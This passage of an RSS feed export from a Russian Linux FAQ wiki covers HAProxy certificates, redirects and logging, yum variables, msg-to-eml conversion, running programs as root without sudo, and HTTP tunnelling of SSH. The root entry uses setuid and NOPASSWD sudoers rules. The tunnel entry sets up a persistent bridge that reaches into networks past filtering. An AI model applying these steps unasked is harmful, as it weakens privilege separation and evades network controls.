Причем важен порядок следования сертификатов в файле. &lt;br/&gt;

Правильный порядок такой:
&lt;/p&gt;
&lt;div class=&quot;table sectionedit2&quot;&gt;&lt;table class=&quot;inline&quot;&gt;
	&lt;tr class=&quot;row0&quot;&gt;
		&lt;td class=&quot;col0&quot;&gt;Сертификат домена (The Certificate for your domain)&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr class=&quot;row1&quot;&gt;
		&lt;td class=&quot;col0&quot;&gt;Промежуточный сертификат 1 (The intermediates in ascending order to the Root CA)&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr class=&quot;row2&quot;&gt;
		&lt;td class=&quot;col0&quot;&gt;Промежуточный сертификат 2 (The intermediates in ascending order to the Root CA)&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr class=&quot;row3&quot;&gt;
		&lt;td class=&quot;col0&quot;&gt;…&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr class=&quot;row4&quot;&gt;
		&lt;td class=&quot;col0&quot;&gt;Корневой сертификат (A Root CA. Если надо. Обычно не нужно)&lt;/td&gt;
	&lt;/tr&gt;
	&lt;tr class=&quot;row5&quot;&gt;
		&lt;td class=&quot;col0&quot;&gt;Приватный ключ (Private Key)&lt;/td&gt;
	&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;609-1041&amp;quot;} --&gt;
&lt;p&gt;
Составить &lt;strong&gt;pem&lt;/strong&gt;-файл можно примерно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat certificate.crt intermediates.pem private.key &amp;gt; ssl-certs.pem &lt;/pre&gt;

&lt;p&gt;
Такой вариант сработал на версии &lt;strong&gt;Haproxy v.1.5&lt;/strong&gt;. И скорее всего на более поздних.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u0434\u043b\u044f haproxy&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e_\u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c_\u0446\u0435\u043f\u043e\u0447\u043a\u0443_\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445_\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432_\u0434\u043b\u044f_haproxy&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1321&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;новейшие_версии_haproxy&quot;&gt;Новейшие версии haproxy&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.haproxy.com/blog/announcing-haproxy-2-2/&quot; class=&quot;urlextern&quot; title=&quot;https://www.haproxy.com/blog/announcing-haproxy-2-2/&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.haproxy.com/blog/announcing-haproxy-2-2/&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://www.haproxy.org/download/2.2/doc/configuration.txt&quot; class=&quot;urlextern&quot; title=&quot;https://www.haproxy.org/download/2.2/doc/configuration.txt&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.haproxy.org/download/2.2/doc/configuration.txt&lt;/a&gt; &lt;br/&gt;

В версии &lt;strong&gt;Haproxy v. 2.2&lt;/strong&gt; (вышла летом 2020) промежуточные сертификаты могут автоматически обнаружитваться в указанной директории и включаться в цепочку с помощью директивы &lt;strong&gt;issuers-chain-path&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u043e\u0432\u0435\u0439\u0448\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 haproxy&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u043e\u0432\u0435\u0439\u0448\u0438\u0435_\u0432\u0435\u0440\u0441\u0438\u0438_haproxy&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1322-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 27 Nov 2020 13:05:32 +0000</pubDate>
        </item>
        <item>
            <title>haproxy_http_to_https_automatic_redirect</title>
            <link>https://wiki.autosys.tk/linux_faq/haproxy_http_to_https_automatic_redirect</link>
            <description>
&lt;p&gt;
В секции &lt;strong&gt;frontend&lt;/strong&gt; надо прописать: 
&lt;/p&gt;

&lt;p&gt;
Для редиректа всего траффика:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;redirect scheme https if !{ ssl_fc }&lt;/pre&gt;

&lt;p&gt;
Если фронтендов/бекэндов много, и редиректить нужно по имени домена:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;redirect scheme https if { hdr(Host) -i www.mydomain.com } !{ ssl_fc }&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>haproxy_logs</title>
            <link>https://wiki.autosys.tk/linux_faq/haproxy_logs</link>
            <description>
&lt;p&gt;
Haproxy logs to logstash &lt;br/&gt;

UDP Only!!! &lt;br/&gt;

Hostname Header from SNI: &lt;a href=&quot;https://discourse.haproxy.org/t/log-sni-in-tcp-mode/1534&quot; class=&quot;urlextern&quot; title=&quot;https://discourse.haproxy.org/t/log-sni-in-tcp-mode/1534&quot; rel=&quot;ugc nofollow&quot;&gt;https://discourse.haproxy.org/t/log-sni-in-tcp-mode/1534&lt;/a&gt;
HTTP Headers: &lt;a href=&quot;https://gist.githubusercontent.com/haproxytechblog/fd1b3691893183dac7151c213fc9950d/raw/d508e37b7966c464e10e9616d9624fbdf9513a0e/blog20121029-08.cfg&quot; class=&quot;urlextern&quot; title=&quot;https://gist.githubusercontent.com/haproxytechblog/fd1b3691893183dac7151c213fc9950d/raw/d508e37b7966c464e10e9616d9624fbdf9513a0e/blog20121029-08.cfg&quot; rel=&quot;ugc nofollow&quot;&gt;https://gist.githubusercontent.com/haproxytechblog/fd1b3691893183dac7151c213fc9950d/raw/d508e37b7966c464e10e9616d9624fbdf9513a0e/blog20121029-08.cfg&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 21 Jan 2020 20:10:25 +0000</pubDate>
        </item>
        <item>
            <title>how_to_get_yum_variables_arch_basearch_releasever_in_redhat_and_centos</title>
            <link>https://wiki.autosys.tk/linux_faq/how_to_get_yum_variables_arch_basearch_releasever_in_redhat_and_centos</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;переменные_arch_basearch_releaser_и_infra&quot;&gt;Переменные $arch, $basearch, $releaser и $infra&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Иногда, чтобы прописать репозиторий в &lt;strong&gt;RedHat-based&lt;/strong&gt;,например в &lt;strong&gt;CentOS&lt;/strong&gt; бывает нужно знать значения переменных &lt;strong&gt;yum&lt;/strong&gt; - &lt;strong&gt;$arch&lt;/strong&gt;, &lt;strong&gt;$basearch&lt;/strong&gt;, &lt;strong&gt;$releaser&lt;/strong&gt; и &lt;strong&gt;$infra&lt;/strong&gt;. Для того, чтобы их узнать выполняем такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;python -c &amp;#039;import yum, pprint; yb = yum.YumBase(); pprint.pprint(yb.conf.yumvar, width=1)&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Вот пример вывода с &lt;strong&gt;CentOS 7 1611&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Loaded plugins: fastestmirror, langpacks
{&amp;#039;arch&amp;#039;: &amp;#039;amd64&amp;#039;,
 &amp;#039;basearch&amp;#039;: &amp;#039;x86_64&amp;#039;,
 &amp;#039;infra&amp;#039;: &amp;#039;stock&amp;#039;,
 &amp;#039;releasever&amp;#039;: &amp;#039;7&amp;#039;,
 &amp;#039;uuid&amp;#039;: &amp;#039;6f68c2da-b486-4047-851a-897157d75161&amp;#039;}
&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;$infra&lt;/strong&gt; обычно имеет значение  &lt;strong&gt;stock&lt;/strong&gt; &lt;br/&gt;

Аналогично для &lt;strong&gt;dnf&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;python3 -c &amp;#039;import dnf, pprint; db = dnf.dnf.Base(); pprint.pprint(db.conf.substitutions,width=1)&amp;#039;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 $arch, $basearch, $releaser \u0438 $infra&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435_arch_basearch_releaser_\u0438_infra&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-947&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;repo_url&quot;&gt;Repo URL&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt; репозитория будет примерно такой: &lt;a href=&quot;http://mirrorlist.centos.org/?release=7&amp;amp;arch=x86_64&amp;amp;repo=os&amp;amp;infra=stock&quot; class=&quot;urlextern&quot; title=&quot;http://mirrorlist.centos.org/?release=7&amp;amp;arch=x86_64&amp;amp;repo=os&amp;amp;infra=stock&quot; rel=&quot;ugc nofollow&quot;&gt;http://mirrorlist.centos.org/?release=7&amp;amp;arch=x86_64&amp;amp;repo=os&amp;amp;infra=stock&lt;/a&gt; &lt;br/&gt;

Важно, что в &lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt; в качестве параметра &lt;strong&gt;arch&lt;/strong&gt; используется значение переменной &lt;strong&gt;basearch&lt;/strong&gt;, а не &lt;strong&gt;arch&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Repo URL&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;repo_url&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;948-1282&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;error_importing_repomdxml&quot;&gt;Error importing repomd.xml&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После добавления репы стала появляться ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;http://mirrorlist.centos.org/?release=7&amp;amp;arch=x86_64&amp;amp;repo=os&amp;amp;infra=stock/repodata/repomd.xml: [Errno -1] Error importing repomd.xml for base_centos: Damaged repomd.xml file&lt;/pre&gt;

&lt;p&gt;
Причину я не выяснил, но в ответ на запрос этого &lt;strong&gt;&lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt;&lt;/strong&gt; возвращается список зеркал. В файлике .repo я заменил этот &lt;strong&gt;&lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt;&lt;/strong&gt; на &lt;strong&gt;&lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt;&lt;/strong&gt; зеркала и ошибка ушла. &lt;br/&gt;

Получить список зеркал можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl http://mirrorlist.centos.org/?release=7&amp;amp;arch=x86_64&amp;amp;repo=os&amp;amp;infra=stock/repodata/repomd.xml&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Error importing repomd.xml&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;error_importing_repomdxml&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1283-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>how_to_open_msg_eml_files</title>
            <link>https://wiki.autosys.tk/linux_faq/how_to_open_msg_eml_files</link>
            <description>
&lt;p&gt;
Довольно часто в почте можно встретить пеерсылаемые сообщения в форматах &lt;strong&gt;msg&lt;/strong&gt; и &lt;strong&gt;eml&lt;/strong&gt;. &lt;br/&gt;

Сообщения в формате &lt;strong&gt;eml&lt;/strong&gt; нормально открываются почтовыми программами доступными в Linux - &lt;strong&gt;Evolution&lt;/strong&gt;, &lt;strong&gt;kmail&lt;/strong&gt;, &lt;strong&gt;Thunderbird&lt;/strong&gt; и другими. &lt;br/&gt;

Для того, чтобы открыть сообщения в формате &lt;strong&gt;msg&lt;/strong&gt; их нужно сконвертировать в формат &lt;strong&gt;eml&lt;/strong&gt;. &lt;br/&gt;

Для этого нужно установить вот что:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libemail-outlook-message-perl &lt;/pre&gt;

&lt;p&gt;
И потом сконвертировать файлик сообщения:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;msgconvert filename*.msg&lt;/pre&gt;

&lt;p&gt;
В результате в том же каталоге появится файлик в формате &lt;strong&gt;eml&lt;/strong&gt;, который нормально откроется в почтовиках (я пользуюсь &lt;strong&gt;Evolution&lt;/strong&gt;). Нормально откроются и приложенные к сообщению файлы.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 08 Oct 2019 09:25:12 +0000</pubDate>
        </item>
        <item>
            <title>how_to_run_process_with_root_privileges_without_sudo</title>
            <link>https://wiki.autosys.tk/linux_faq/how_to_run_process_with_root_privileges_without_sudo</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;как_всегда_запускать_программу_с_правами_root&quot;&gt;Как всегда запускать программу с правами root&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Если необходимо, чтобы программа всегда запускалась с правами &lt;strong&gt;root&lt;/strong&gt;, даже если она запущена не от имени &lt;strong&gt;root&lt;/strong&gt;, а обычным непривилешированным пользователем без использования &lt;strong&gt;sudo&lt;/strong&gt;, то нужно использовать функционал &lt;strong&gt;setuid&lt;/strong&gt; или &lt;strong&gt;setgid&lt;/strong&gt;. Это означает, что программа будет запущена не от имени пользователя, который ее запускат, а от имени владельца исполняемого файла. &lt;br/&gt;

Установить признак &lt;strong&gt;setuid&lt;/strong&gt; можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chown root:root ./program
sudo chmod a+s ./program&lt;/pre&gt;

&lt;p&gt;
Всё. Теперь даже если процесс запущен непривилегированным пользователем, он всё равно получит привилегии владельца исполняемого файла, то есть - &lt;strong&gt;root&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u0432\u0441\u0435\u0433\u0434\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u0432\u0441\u0435\u0433\u0434\u0430_\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c_\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443_\u0441_\u043f\u0440\u0430\u0432\u0430\u043c\u0438_root&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1159&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;автоматический_запуск_графических_приложений_с_правами_root&quot;&gt;Автоматический запуск графических приложений с правами root&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Однако, при попытке запустить &lt;abbr title=&quot;Graphical User Interface&quot;&gt;GUI&lt;/abbr&gt;-приложение с признаком &lt;strong&gt;setuid&lt;/strong&gt; я получил сообщение вида:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Gtk-WARNING **: 10:17:50.381: This process is currently running setuid or setgid.
This is not a supported use of GTK+. You must create a helper&lt;/pre&gt;

&lt;p&gt;
В этому случае - можно сделать иначе. &lt;br/&gt;

Добавить в /etc/sudoers строку вида:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;username    ALL=(ALL) NOPASSWD: /usr/local/bin/programmname&lt;/pre&gt;

&lt;p&gt;
где &lt;strong&gt;username&lt;/strong&gt; - имя непривилегированного пользователя, которому мы хотим дать прав запускать программу &lt;strong&gt;/usr/local/bin/programmname&lt;/strong&gt; с правами &lt;strong&gt;root&lt;/strong&gt; без ввода пароля. &lt;br/&gt;

А затем, я сделал скрипт-обертку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
sudo /usr/local/bin/programmname &amp;amp;
exit 0&lt;/pre&gt;

&lt;p&gt;
В итоге - при запуске скрипта-обертки &lt;abbr title=&quot;Graphical User Interface&quot;&gt;GUI&lt;/abbr&gt;-программа &lt;strong&gt;/usr/local/bin/programmname&lt;/strong&gt; стартует с правми &lt;strong&gt;root&lt;/strong&gt; без ввода пароля. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439_\u0437\u0430\u043f\u0443\u0441\u043a_\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445_\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439_\u0441_\u043f\u0440\u0430\u0432\u0430\u043c\u0438_root&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1160-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 28 Jan 2021 07:39:54 +0000</pubDate>
        </item>
        <item>
            <title>http_tunnel</title>
            <link>https://wiki.autosys.tk/linux_faq/http_tunnel</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://en.wikipedia.org/wiki/Web-based_SSH&quot; class=&quot;urlextern&quot; title=&quot;https://en.wikipedia.org/wiki/Web-based_SSH&quot; rel=&quot;ugc nofollow&quot;&gt;https://en.wikipedia.org/wiki/Web-based_SSH&lt;/a&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;с_помощью_webrtc&quot;&gt;С помощью WebRTC&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/nobonobo/ssh-p2p&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/nobonobo/ssh-p2p&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/nobonobo/ssh-p2p&lt;/a&gt; - ровно то что нужно &lt;br/&gt;

&lt;a href=&quot;https://github.com/mxseba/rtc-ssh&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/mxseba/rtc-ssh&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/mxseba/rtc-ssh&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://github.com/ryscheng/uproxy-networking&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/ryscheng/uproxy-networking&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/ryscheng/uproxy-networking&lt;/a&gt; - хз пока что &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e WebRTC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441_\u043f\u043e\u043c\u043e\u0449\u044c\u044e_webrtc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;46-269&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;с_использованием_метода_connect&quot;&gt;с использованием метода CONNECT&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://www.zeitoun.net/articles/ssh-through-http-proxy/start&quot; class=&quot;urlextern&quot; title=&quot;http://www.zeitoun.net/articles/ssh-through-http-proxy/start&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.zeitoun.net/articles/ssh-through-http-proxy/start&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0435\u0442\u043e\u0434\u0430 CONNECT&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441_\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c_\u043c\u0435\u0442\u043e\u0434\u0430_connect&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;270-401&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;без_использования_метода_connect_только_put_и_get&quot;&gt;Без использования метода CONNECT (только PUT и GET)&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0411\u0435\u0437 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u0435\u0442\u043e\u0434\u0430 CONNECT (\u0442\u043e\u043b\u044c\u043a\u043e PUT \u0438 GET)&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0431\u0435\u0437_\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f_\u043c\u0435\u0442\u043e\u0434\u0430_connect_\u0442\u043e\u043b\u044c\u043a\u043e_put_\u0438_get&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;402-496&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;bridge_на_ruby&quot;&gt;bridge на ruby&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/luizluca/bridge&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/luizluca/bridge&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/luizluca/bridge&lt;/a&gt; &lt;br/&gt;

На всякий случай утащил к себе: &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/bridge-master.zip&quot; class=&quot;media mediafile mf_zip&quot; title=&quot;linux_faq:bridge-master.zip (17.7 KB)&quot;&gt;bridge-master.zip&lt;/a&gt; &lt;br/&gt;

Данная утилита (не моя) - скорее просто &lt;strong&gt;proof-of-concept&lt;/strong&gt;. Она работает, но ей много чего не хватает (например - аутентификации). &lt;br/&gt;

Протестировал на чистом контейнере &lt;strong&gt;Ubuntu 19.10&lt;/strong&gt;. &lt;br/&gt;

Продвинутая версия с &lt;strong&gt;BasicAuth&lt;/strong&gt; (нашел среди форков) - &lt;a href=&quot;https://github.com/puochan/bridge&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/puochan/bridge&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/puochan/bridge&lt;/a&gt; &lt;br/&gt;

Добавлен HTTPS  - &lt;a href=&quot;https://github.com/vadimkim/bridge&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/vadimkim/bridge&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/vadimkim/bridge&lt;/a&gt; &lt;br/&gt;

Вот мой вариант - &lt;a href=&quot;https://github.com/MikeQ123/bridge.git&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/MikeQ123/bridge.git&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/MikeQ123/bridge.git&lt;/a&gt;. Это форк от &lt;strong&gt;puochan&lt;/strong&gt; с обработкой перенаправлений при установке соединения и добавлением к запросам cookie OpenDNS. Нужно бы добавить ssl, хотя, если внутри всегда ssh, то ssl не нужен.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;bridge \u043d\u0430 ruby&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;bridge_\u043d\u0430_ruby&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;497-1542&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit5&quot; id=&quot;bridge_-_сервер&quot;&gt;bridge - сервер&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Сервер может быть настроен где угодно (не обязательно внутри сети, куда нам нужно попасть).
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install ruby git
git clone https://github.com/MikeQ123/bridge.git
sudo cp ./bridge/http_bridge /usr/bin/&lt;/pre&gt;

&lt;p&gt;
Запускаем сервер
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo http_bridge server 80 /some-path user:password&lt;/pre&gt;

&lt;p&gt;
Сервер будет принимать подключения на порту &lt;strong&gt;80&lt;/strong&gt;, &lt;strong&gt;URN /some-path&lt;/strong&gt; и аутентифировать пользователя по логину &lt;strong&gt;user&lt;/strong&gt; и парою &lt;strong&gt;password&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;bridge - \u0441\u0435\u0440\u0432\u0435\u0440&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;bridge_-_\u0441\u0435\u0440\u0432\u0435\u0440&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;1543-2172&amp;quot;} --&gt;
&lt;h4 class=&quot;sectionedit6&quot; id=&quot;etcsystemdsystemhttp-bridge-serverservice&quot;&gt;/etc/systemd/system/http-bridge-server.service&lt;/h4&gt;
&lt;div class=&quot;level4&quot;&gt;

&lt;p&gt;
Для автоматического запуска сделаем юнит сервиса:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Unit]
Description=Setup a secure tunnel to remote server
After=network.target

[Service]
ExecStart=/usr/bin/http_bridge server 80 /some-path user:password
RestartSec=10
Restart=always

[Install]
WantedBy=multi-user.target&lt;/pre&gt;

&lt;p&gt;
Уведомляем &lt;strong&gt;systemd&lt;/strong&gt;, включаем сервис и запускаем его:
&lt;/p&gt;
